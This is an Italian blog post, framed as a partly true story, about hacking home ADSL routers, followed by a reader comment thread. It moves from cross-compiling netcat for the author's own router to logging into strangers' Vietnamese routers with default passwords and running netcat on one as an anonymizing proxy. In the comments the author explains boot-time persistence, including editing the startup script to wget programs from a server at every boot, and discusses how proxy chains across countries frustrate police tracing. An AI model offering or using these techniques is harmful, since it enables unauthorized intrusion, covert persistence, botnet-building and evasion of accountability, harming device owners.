Router Odissey
February 3, 2009 23 Comments
Era una delle prime giornate di Settembre. Camminando per strada un vento fresco sbatteva contro la pelle non ancora coperta, scatenando brividi leggeri. A Luca questa sensazione é sempre piaciuta, insieme all’aria nuova che questo periodo porta con sé. “Anche qui in città l’aria sembra più frizzante…”, pensò, e sorrise perché questi piccoli cambiamenti lo mettevano di buon umore. Era questo il mese migliore da passare in città: l’estate volge al termine insieme all’afa e alla sensazione di essere perennemente sudati, lasciando il posto a giorni più miti in cui anche l’energia e l’entusiasmo sembrano tornare.
A volte anche oggetti banali possono nascondere segreti interessanti…
“Devo procurarmi un altro router adsl, altrimenti mi sento tagliato fuori…” Il giorno prima, vinto dalla noia e dalla curiosità aveva deciso di esplorare più a fondo il suo router. Forse non sapete che la maggior parte dei ‘networked devices’ in commercio, tra cui router, modem e addirittura alcune stampanti utilizzano come sistema operativo una qualche versione alleggerita di Linux o di NetBSD. Probabilmente se vi venisse voglio di eseguire una scansione con Nmap del vostro modem adsl ricevereste un output simile a questo:
Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-01 15:35 CET Interesting ports on 192.168.1.1: Not shown: 995 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 80/tcp open http 5431/tcp open unknown Device type: Router|WAP Running: Linux 2.4.X OS details: Linux 2.4.20 - 2.4.24 Network Distance: 1 hop
Questo era ciò che diceva Nmap riguardo al suo vecchio modem. Era un Trust MD-5700, con funzionalità di access point wireless. Luca aveva già dato un’occhiata all’interfaccia web per configurare la sua connessione adsl e la rete locale, quindi adesso si diresse deciso verso la porta 22. Telnet non gli piaceva: oltre a essere estremamente insicuro per la mancanza di cifratura aveva la fastidiosa abitudine di trasmettere carattere per carattere, rendendo le sessioni testuali simili a una partita all’ultimo titolo della EA su una vecchia GeForce 2.
ssh root@192.168.1.1
Dopo la solita richiesta del client ssh riguardo al fingerprint della chiave del nuovo host, lo accolse la shell fornita da BusyBox. “Cominciamo a dare un’occhiata in giro…”
BusyBox v0.61.pre (2005.05.30-08:31+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands.
“Per prima cosa ho bisogno di sapere alcune informazioni sul kernel usato e sull’architettura del processore.”
# ls bin etc proc usr dev lib sbin var
“Sembra che il filesystem proc sia montato, vediamo se é in grado di darmi le informazioni che voglio”
# cat /proc/version Linux version 2.4.17_mvl21-malta-mips_fp_le (guest1@localhost) (gcc version 2.95.3 20010315 (release/MontaVista)) #1 Thu Mar 25 18:10:36 CST 2004 # cat /proc/cpuinfo processor : 0 cpu model : AR7 V1.0 BogoMIPS : 203.81 wait instruction : no microsecond timers : yes extra interrupt vector : yes hardware watchpoint : yes VCED exceptions : not available VCEI exceptions : not available
“Vediamo… La versione di Linux é MontaVista!”. MontaVista é una distribuzione commerciale per dispositivi embedded che sta risquotendo un notevole successo. Sul sito http://www.mvista.com/ non é disponibile molta documentazione. Si può richiedere un live cd per la valutazione dei prodotti, contenente anche un ide basato su Eclipse per lo sviluppo embedded, DevRocket. “Sarebbe interessante provare averne una copia, ma qui in Italia non so in quanto tempo arriverà il cd, se arriverà”.
Il processore era un AR7, con architettura MIPS. Naturalmente, su questi sistemi, BusyBox e gli altri programmi utilizzano uclib, una libc più leggera della classica glibc. “Sarebbe divertente se potessi far girare alcuni miei programmi sul router; non so, anche un semplice client IRC, giusto per il gusto di farlo… “ Dopo una breve ricerca con google, e qualche download inutile (binari compilati per vecchie versioni di Linux, non compatibili con le attuali), trovò http://www.uclibc.org/downloads/binaries/ , da dove é possibile scaricare diversi toolchain per la cross-compilazione verso svariate architetture. Luca scaricò cross-compiler-mipsel.tar.bz2.
Come rompere un router, in pochi, semplici passi…
Dopo aver scompattato l’archivio si ottiene una directory con all’interno i tools necessari. Gcc, objdump, e svariati altre utility erano li in attesa che qualcuno le utilizzasse per compilare qualcosa. “Vediamo… Potrei cominciare con il fare il porting di un programma già esistente, ma che sarebbe utile far girare su un networked device… Si, perché no?” Indirizzò il suo browser verso l’indirizzo netcat.sourceforge.net. “Netcat non é un programma che utilizza librerie particolari, anche l’ultima versione dovrebbe andar bene.”
Una volta scompattato anche netcat Luca guardo con un po’ di disappunto il contenuto della directory creata. “Uff, utilizza gli autotools. Speriamo che sia possibile compilare il programma anche senza.” Passò alla cartella dei sorgenti, c’erano qualche file .c e qualche header. “Proviamo con una compilazione standard.”
mipsel-gcc *.c -o nc
Il compilatore si lamentò del fatto che nel file misc.h VERSION non era definito. Luca aggiunse una definizione personalizzata:
#define VERSION "v 7.0 MIPSle, by TheRouterHacker"
Questa volta la compilazione andò a buon fine, a parte qualche warning per la mancanza delle “random routines”. Non che fosse importante… Luca tornò alla sessione ssh. Scaduto il tempo il router lo aveva disconnesso, quindi provide a riautenticarsi. Era venuto il momento di testare il suo esperimento.
Per esigenze di aggiornamento firmware quasi tutti i router basati su un sistema *nix includevano alcuni strumenti standard per lo scaricamento di file o l’upload di file, infatti sia wget che un client tftp erano pronti per essere usati. “Non ho voglia di mettere su un server web per il trasferimento di un singolo file, vediamo se mi ricordo ancora qualche trucchetto con tftp.”
pc# netwox 167 -r netcat/src/ router# cd /var/tmp && tftp -g nc 192.168.1.5
Netwox é un programmino che a volte può tornare utile. Include circa 200 funzioni, e la 167 é un piccolo server tftp; soluzione semplice e veloce… Sul router dovette cambiare directory perché solo il ramfs /var é scrivibile, il resto é montato read-only come squashfs. Il problema é che le modifiche spariscono dopo un riavvio del dispositivo, ma per adesso questo non é importante.
router# chmod +x nc router# ./nc -h GNU netcat v 7.0 MIPSle, by TheRouterHacker, a rewrite of the famous networking tool. Basic usages: connect to somewhere: ./nc [options] hostname port [port] ... listen for inbound: ./nc -l -p port [options] [hostname] [port] ... tunnel to somewhere: ./nc -L hostname:port -p port [options] Mandatory arguments to long options are mandatory for short options too. Options: -c, --close close connection on EOF from stdin -e, --exec=PROGRAM program to exec after connect -g, --gateway=LIST source-routing hop point[s], up to 8 -G, --pointer=NUM source-routing pointer: 4, 8, 12, ... -h, --help display this help and exit -i, --interval=SECS delay interval for lines sent, ports scanned -l, --listen listen mode, for inbound connects -L, --tunnel=ADDR : PORT forward local port to remote address -n, --dont-resolve numeric-only IP addresses, no DNS -o, --output=FILE output hexdump traffic to FILE (implies -x) -p, --local-port=NUM local port number -r, --randomize randomize local and remote ports -s, --source=ADDRESS local source address (ip or hostname) -t, --tcp TCP mode (default) -T, --telnet answer using TELNET negotiation -u, --udp UDP mode -v, --verbose verbose (use twice to be more verbose) -V, --version output version information and exit -x, --hexdump hexdump incoming and outgoing traffic -w, --wait=SECS timeout for connects and final net reads -z, --zero zero-I/O mode (used for scanning) Remote port number can also be specified as range. Example: '1-1024'
Luca sorrise, “Funziona! Non mi resta che vedere le altre funzionalità e programmi già presenti sul router e farmi venire qualche buona idea. In fondo non ho voglia di reinventare la ruota, e poi devo conoscere meglio l’ambiente in cui andrò a programmare…”
Eccoci di nuovo a oggi.
“Accidenti, potevo non giocherellare con i tool della Texas Instruments per la configurazione del firmware! Ora il router é andato e naturalmente la Trust non documentazione veramente utile…”

Riposa In Pace
NDA: In effetti fin qui la storia é basata su fatti realmente accaduti. Purtroppo il Router é andato in pensione prima del tempo, e a dire la verità non ho ancora ben capito cosa ha provocato i danni alla memoria flash. Questi dispositivi sono abbastanza delicati, quindi evitate di eseguire comandi o azioni di cui non conoscete perfettamente il funzionamento. Adesso il router é accessibile solo tramite adam2 (http://www.beyondlogic.org/nb5/ADAM2_bootloader.htm), quindi se qualcuno con lo stesso modello vuole aiutarmi ad aggiustarlo (dovrebbero servirmi solo alcuni valori di configurazione) può mandarmi una mail…
“Eccoci arrivati!”, pensò Luca. L’insegna di PrCant, il suo spaccio hardware di fiducia, lo invitava ad entrare. Era amico col titolare del negozio da qualche anno, e avevo svolto diversi lavori per lui, facendosi perlopiù pagare in natura (un consiglio per i rivenditori di hardware. Se avete bisogno dell’aiuto di qualche geek informatico, avete mai provato a offrirgli i giocattolini che vendete al posto del denaro? La reazione potrebbe sorprendervi).
“Come mai da queste parti? Cosa hai distrutto questa volta?”, il titolare conosceva le tendenze di Luca. “Hei, non scherzare! Comunque questa volta non é stata colpa mia
“. “Si, come no… Comunque a me non interessa, altrimenti non ti vedrei così spesso nel mio negozio. Da solo costituisci il 30% del mio business!” e fece l’occhiolino a Luca che già si dirigeva allo scaffale dei Modem adsl.
Scelse un DSL-2542B, uno degli ultimi modelli D-Link. L’apparecchio era molto più potente del precedente e il prezzo non era eccessivo. Oltre al fatto che i prodotti D-Link sono ampliamente documentati e modificati dalla comunità open source.

Il DSL-2542B in tutto il suo splendore
Di nuovo a casa…
“Diamo un’occhiata al nuovo Router…”
Main Menu 1. ADSL Link State 2. LAN 3. WAN 4. DNS Server 5. Route Setup 6. NAT 7. Firewall 8. Quality Of Service 9. Management 10. Passwords 11. Diag 12. Reset to Default 13. Save and Reboot 14. Exit ->
“Umm… Mi appare questo menù. Le opzioni le conosco già perché sono quelle dell’interfaccia web.”
-> foo foo: not found Hit <enter> to continue
“Provando a inserire una parola a caso mi dice che il file non é presente. Vuoi vedere che…”
-> sh app: sh BusyBox v1.00 (2008.01.04-02:23+0000) Built-in shell (msh) Enter 'help' for a list of built-in commands. #
“Bene, ora ho la mia shell. Busybox sembra molto più recente rispetto al Trust. Vediamo meglio le caratteristiche del sistema”
# cat /proc/version Linux version 2.6.8.1 (jenny@FD5) (gcc version 3.4.2) #1 Fri Jan 4 10:19:37 CST 2008 # cat /proc/cpuinfo system type : 96338W processor : 0 cpu model : BCM6338 V1.0 BogoMIPS : 239.20 wait instruction : no microsecond timers : yes tlb_entries : 32 extra interrupt vector : yes hardware watchpoint : no unaligned access : 4551171 VCED exceptions : not available VCEI exceptions : not available
“Wow. Rispetto al vecchio router é un bel passo avanti! Ci gira anche un Kernel 2.6!”, infatti la maggior parte dei device in commercio utilizza un Kernel 2.4.x. “Con questo si che mi posso divertire… Umm… Forse é meglio evitare di rompere subito anche questo modem, dovrei prima fare pratica con qualcosa di sacrificabile…” Dopo qualche secondo un sorriso maligno gli comparì sul volto.
Router discovery
“Ho bisogno di trovare un router che offra un interfaccia a linea di comando accessibile via internet e che faccia girare Linux. Ormai questi dispositivi vengono tutti configurati tramite interfaccia web, quindi potrei usare uno scanner di server web…” Luca si ricordò di un programma rilasciato di recente che faceva proprio quello che gli serviva. Il programma era HttSquash rilasciato insieme alla suite di strumenti Complemento, di cui ora era disponibile anche un’interfaccia grafica. Scaricò e compilò il programma. “Bene, ora devo solo decidere su che reti fare la scansione”. Optò per reti vietnamite: di sicuro non ci sono accordi per l’espatrio dei criminali… “Ok, range ip 123.20.1.1-255, porta 80 e secondi 2. Iniziamo la scansione… “

Risultato della scansione
“Accidenti, su queste reti c’é di tutto! Telecamere di sorveglianza, router, stampanti… E sono tutte accessibili al di fuori della rete locale, esposte a ogni genere di attacco. Di certo in alcuni paesi asiatici non si é ancora sviluppata una certa consapevolezza dei rischi.”
NDA: In effetti questo é vero. Alcuni paesi del mondo sono una vera manna per chi vuole creare botnet e quant’altro perché le misure di sicurezza, specie per le piccole aziende e per gli utenti domestici, sono qualcosa di sconosciuto. In questo caso vediamo una gran quantità di networked devices accessibili via internet. Ma se ci si riesce a far girare programmi sopra, che differenza rimane tra un router e un computer infetto? La differenza di potenza della cpu? In questi casi non é richiesta…
“Non mi resta che tentare con qualcosa di banale, vediamo se hanno cambiato le password di default…” E dopo uno, due, tre e quattro dispositivi che non apponevano la minima resistenza Luca pensò “Questo posto é una miniera d’oro! Potrei semplicemente portare un programma per il controllo remoto su questi dispositivi e avrei la mia botnet personale: é come rubare caramelle a un bambino!” Ma, Luca non era il tipo interessato a queste cose, preferiva sperimentare solamente con la programmazione senza rischiare di rendere inutilizzabile il suo hardware. Comunque sperimentò lo stesso qualche trucchetto con netcat.
“Proviamo con una scansione della rete locale”
# ping 192.168.1.5 PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data. 64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=0.095 ms 64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=0.080 ms ...
“Bene questo host é attivo. Scarichiamo netcat con tftp e proviamo le sue funzionalità di port scanning”
# ./nc -z -v 192.168.1.5 1-1000 (UNKNOWN) [192.168.1.5] 135 (loc-srv) open (UNKNOWN) [192.168.1.5] 445 (microsoft-ds) open (UNKNOWN) [192.168.1.5] 5000 (?) open
“Hehe, sembrerebbe un sistema windows. Potrei usare la funzionalità di port forwarding per connettermi a un host interno, e dalle porte che ho visto magari ci sono delle condivisioni accessibili con Samba. Ma ho in mente di meglio…” E digitò:
# ./nc -p 4444 -L whatismyipaddress.com:80
Poi puntò il suo browser all’indirizzo del router, porta 4444. Questo é ciò che ottenne:
General Information
Hostname: 123.20.1.4 ISP: VietNam Post and Telecom Corporation Organization: Ho Chi Minh City Post and Telecom Company (HCMPT) Proxy: None detected Type: Cable/DSL Blacklist: Geo-Location Information
Country: Vietnam State/Region: 20 City: Ho Chi Minh City Latitude: 10.75 Longitude: 106.6667 Area Code: Geo-Location Map
“Ed ecco a voi un proxy a basso costo e ad alta velocità! Si, la vita é decisamente facile per i cracker…” Ma era quasi ora di cena, e avendo pranzato in maniera frettolosa il suo stomaco si lamentava. “Per oggi basta giocare! Vediamo se mi é rimasto qualcosa di precotto in freezer” e detto questo, premette CTRL+ALT+L e si diresse in cucina.

Vi è piaciuto il racconto? Essendo il primo pubblicato mi piacerebbe ricevere qualche opinione, in modo da rendermi conto se scriverne altri.
Per chi di voi conosce gli argomenti trattati:
Come è possibile sfruttare le altre features dei router oggi in commercio per scopi maliziosi. In particolare, come sfruttereste voi queste features:
- Content Filtering
- Dynamic DNS Client
- Impostazioni di rete del router (IP, Server DNS, …)
- Iptables (accessibile tramite ssh)
L’articolo è molto interessante. Anch’io da tempo sto cercando di smanettare sul mio router Netgear.
Purtroppo non sono molto esperto di programmazione, cgi script, né di file system compressi e montati in loop.
Fino ad ora al massimo sono riuscito a mettere qualche programmino in RAM (/var), ma al riavvio ovviamente perdo tutto.
Mi piacerebbe capire come poter rendere definitive certe modifiche (spazio su flash permettendo) senza stravolgere il firmware.
Avere netcat installato è condizione necessaria e sufficiente per fare qualsiasi cosa
Ci sarà un motivo se non lo mettono di default!
Amministro qualche server web, ho visto che generalmente chi tenta di crackarli prova a farmi scaricare da un loro server un programmino precompilato, uno script o talvolta una shell in php. Acquisiti i privilegi di www ed usciti dall’eventuale chroot vorrebbero usarmi per sparare flood a comando.
Per il discorso delle features la cosa più importante mi sembra il DynDNS, altrimenti perdi le tracce dei router a cui stai dietro.
Il resto sono tutte cose che puoi modificare anche dall’interfaccia web…
Risposta a Anarazael:
Sei il primo a lasciare un commento sul mio blog!
Allora, per il client DynDNS hai ragione, in quanto ti consente di non perdere il router quando si disconnette. Sto facendo alcuni esperimenti per vedere se se ne puo’ fare un utilizzo un po’ piu’ avanzato, ma per ora sene solo idee…
Per quanto riguarda il salvataggio di programmi nella flash del router ci sono diversi modi.
Per prima cosa partiamo dal presupposto che sul router siano presenti dd e un client come wget o tftp (nel 99% dei casi é cosi).
I router hanno di solito la flash strutturata in diverse partizioni. Sul mio ad esempio la situazione e questa:
# ls /dev/mtd*
/dev/mtdblock0 /dev/mtdblock2 /dev/mtdblock4
/dev/mtdblock6 /dev/mtdblock1 /dev/mtdblock3
/dev/mtdblock5 /dev/mtdblock7
Ognuna di queste “partizioni” é utilizzata per uno scopo diverso: le prime contengono il firmware e il software, le altre le configurazioni.
Possibilità:
1) Usare dd per patchare un binario salvato sulla flash. Si fa un dump della partizione e la si scarica sul proprio pc. Si disassembla il dump e, mantenendo le dimensioni!, si patchano i binari in esso contenuti per modificarne il funzionamento.
2) Utilizzare lo spazio libero della partizione o sostituire i binari nella partizione. Stesso procedimento di prima, solo che viene modificata un’intera zona del dump in cui viene scritto il nostro programma. Tecnica molto rischiosa e non sempre effettuabile.
3) Modificare lo script di avvio. Quasi tutti i router basati su Linux eseguono uno script di avvio dopo aver caricato il firmware. Di solito é /etc/init.d/rcS. Questo script contiene commenti, che noi possiamo sostituire con comandi del tipo:
wget http://www.nostroserver.org/programma /var/programma
in modo che ad ogni avvio provveda a scaricare i programmi dal nostro server e a posizionarli in /var. Questa a mio parere é la tecnica meno rischiosa, basta solo essere attenti quando si modifica lo script (si bisogna lo stesso usare dd, ma il vantaggio é che i dati che andiamo a scrivere sono testuali)
Voi conoscete qualche altra tecnica (a parte cambiare il firmware naturalmente)?
Ok, ho fatto un dd della partizione che mi interessa, l’ho messo in /tmp, ho lanciato un nuovo processo di mini_httpd sulla porta 81 con directory base /tmp ed ho uplodato il tutto.
Ho montato il file e lo sto esplorando.
A questo punto il dilemma: come faccio a cross-compilare per mips? Forse buildroot potrebbe fare al caso mio, l’hai mai provato?
Ciao crossbower,
Su ke server&channel di irc ti trovo?
Per Anarazael:
Io nell’articolo ho utilizzato questa toolchain:
http://www.uclibc.org/downloads/binaries/cross-compiler-mipsel.tar.bz2
Non mi e’ capitato di utilizzare buildroot. Non so se stiamo parlando della stessa cosa, ma dovresti dirmi qual e’ il tuo obbiettivo. Che genere di programma devi compilare?
Per Banezirol:
Non vado quasi mai in chat. Se vuoi parlarmi preferirei essere contattato via mail. Altrimenti dimmi tu un orario e un canale.
Nel caso in cui trovo una shell busybox ma non ho il comando ls.. è normale? come si fa ad esplorare il file system..E per il metodo dello script(/etc/init.d/rcS)ci sarebbe un editor? oppure facciamo un down – modifico – up del file? Infine per il client dyndns.. dovremmo adottare la tecnica dello script all’avvio?
ps:vai forte!!!
pps:questa è l’email corretta
Per Banezirol:
> Nel caso in cui trovo una shell busybox ma non ho il comando ls..
Per questo e’ necessario un vecchio trucco, prova con:
$ echo *
Di solito qualsiasi shell supporta le wildcards
> E per il metodo dello script(/etc/init.d/rcS)ci sarebbe un editor?
Il dump e’ sempre necessario, ma non dovrebbe essere troppo difficile modificarne le parti testuali con un editor esadecimale. A meno che il file non sia compresso; in quel caso le cose si complicano troppo e torniamo ai metodi 1) e 2)
ps: grazie
“echo *” funziona!!!Ora ho capito perchè è necessario il dump..poichè il filesystem è in sola lettura??correggi se sbaglio..ma come faccio a farlo se non ho un dd..ah si giusto lo installo in /var faccio il dump.. scarico il tutto e modifico il file con editor esadecimale.. ma poi devo ributtare su il tutto.. è possibile farlo con dd??
ps:la tua email?
La mia email é crossbower gmail.com
Si devi farlo con dd.
Di solito dd o uno strumento simile é sempre presente sul router. Naturalmente puoi sempre uploadarlo tu.
Attenzione pero’ ad usarlo, perché si rischia di rendere inutilizzabile il modem, se il dump viene danneggiato o vengono sovrascritte parti importanti.
Ti consiglio prima di effettuare operazioni potenzialmente pericolose di verificare se qualcuno le ha gia fatte prima. Prova a cercare nei forum dedicati all’hardware hacking il modello del tuo router.
ANNUNCIO: Come il mio ultimo post dice, saro’ via per una settimana a partire da domani, quindi probabilmente non potro’ moderare il blog. Fate i bravi
salve carissimo, articolo molto interessante, io sono in possesso del router in questione l’MD5700 vorrei cambiare il software di gestione quello della trust non mi piace credete sia possibile?? grazie a presto
Pingback: Exploiting Arm Linux Systems « Security Adventures
Pingback: Exploiting Arm Linux Systems « Security Adventures
Salve.
Per quanto ne so non esistono firmware alternativi per quel modello della trust. Ti consiglio di rimanere con quello, a meno che tu non abbia esigenze di configurazione molto particolari… Se questo é il caso potresti provare a utilizzare la shell del router (ad esempio per impostare manualmente le regole di iptables).
Ciao, complimenti per l’articolo.
Volevo chiederti un’info se ho una busybox con queste caratteristiche che tool devo usare per effettuare la croos compilazione di alcuni programmi che non sono implementati di default?
BusyBox v1.13.4 (2009-05-21 14:56:01 CST) multi-call binary
Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko
and others. Licensed under GPLv2.
Linux version 2.6.14 (winging@RD2Server228) (gcc version 3.4.4) #434 Thu Dec 16 11:26:06 CST 2010
Processor : FA626TEid(wb) rev 1 (v5l)
BogoMIPS : 536.57
Features : swp half thumb
CPU implementer : 0×66
CPU architecture: 5TE
CPU variant : 0×0
CPU part : 0×626
CPU revision : 1
Cache type : write-back
Cache clean : cp15 c7 ops
Cache lockdown : format B
Cache format : Harvard
I size : 32768
I assoc : 4
I line length : 32
I sets : 256
D size : 32768
D assoc : 4
D line length : 32
D sets : 256
Hardware : Faraday GM8181
Revision : 818121d0
Serial : 0000000000000000
Ciao Marco,
Dalle caratteristiche che hai postato il processore utilizza l’architettura ARM, e dai bogomips sembra anche molto potente per essere montato su un router o un apparecchio embedded. Questo é ottimo perche’ ci puoi far girare piu’ roba e con meno sforzi…
Comunque, non conosco esattamente il set di istruzioni implementato nel processore, ma penso che puoi utilizzare la stessa toolchain che ho usato io:
http://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
In alternativa puoi provare le varie toolchains ARM presenti in questa directory:
http://www.uclibc.org/downloads/binaries/0.9.30.1/ (http://www.uclibc.org/downloads/binaries/versione_attuale/)
Decomprimendo il pacchetto ti ritroverai un ambiente di programmazione per C/C++ e Assembly, basato su gcc e le uclib. Ti consiglio di includere staticamente le librerie nel binario, per non avere problemi di sorta.
Ciao
Ciao ti ringrazio per la risposta faccio un po’ di prove e vediamo cosa riesco a fare, in effetti non è un router ma un HDR
Ho provato a compilare netcat come nel tuo esempio con mipsel però quando lo eseguo sulla busybox mi da’ questo errore:
./nc: line 1: syntax error: “(” unexpected
può essere il toolchain che non va bene o ho sbagliato io qualcosa?
A prima vista non mi sembra sia un errore di compilazione, o della toolchain. Non posso dirti molto non avendo il dispositivo a portata di mano, ma puoi fare un check confrontando i binari presenti sul tuo apparecchio con quelli compilati da te.
Esempio:
sul-tuo-pc$ file nc
nc: ELF 32-bit LSB executable, ARM, version 1, statically linked, for GNU/Linux 2.4.0, not stripped
Cio’ che hai compilato tu dovrebbe avere un output simile a questo. Poi lanci il comando file su un binario del dispositivo (es: ls, cat, sh,… i vari inclusi in busybox) e li confronti.
Se le due architetture sono compatibili il problema é da un’altra parte.
L’output di cat della busybox è questo:
cat: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped
se non sbaglio dovrei usare un toolchain per ARM, ho provato quelli del sito da te indicati armv4l e armv5l ma non vanno, quando provo ad eseguire il file mi dice “nc: not found” adesso provo a cercare altri tool vedo se trovo qualcosa
come non detto, mi sono dimenticato di lincare in modo statico, ora va. Volevo chiederti ancora una cosa, se faccio girare un server proxy su di un dispositivo remoto è sicuro al 100% o si può cmq risalire a me?
Hehe, stavo quasi per ripetertelo… Sullo static linking ci siamo cascati tutti
Per il resto, premessa: Non fare niente di illegale, perche’ questo blog non lo incoraggia.
Le catene di proxy, con proxy in stati diversi (magari stati che non hanno accordi di condivisione informazioni) sono usate dai criminali, ed é lungo e tedioso risalire al colpevole (e a volte non possibile alla polizia per problematiche legali).
In ogni caso é da tenere presente che i vari provider e ISP mantengono log delle connessioni, anche per diversi anni. Quindi puo’ essere possibile tracciare le connessioni all’indietro.
La vera domanda é: Quanto costa eseguire questo tipo di indagine? Quanti proxy sono stati utilizzati? In che stati risiedono questi proxy?
Il tutto naturalmente IMHO.
Ciao, ti stresso ancora un po’
ho provato a caricare dei file sul mio router e tutte le volte questo si riavvia, sai quale potrebbe essere il motivo?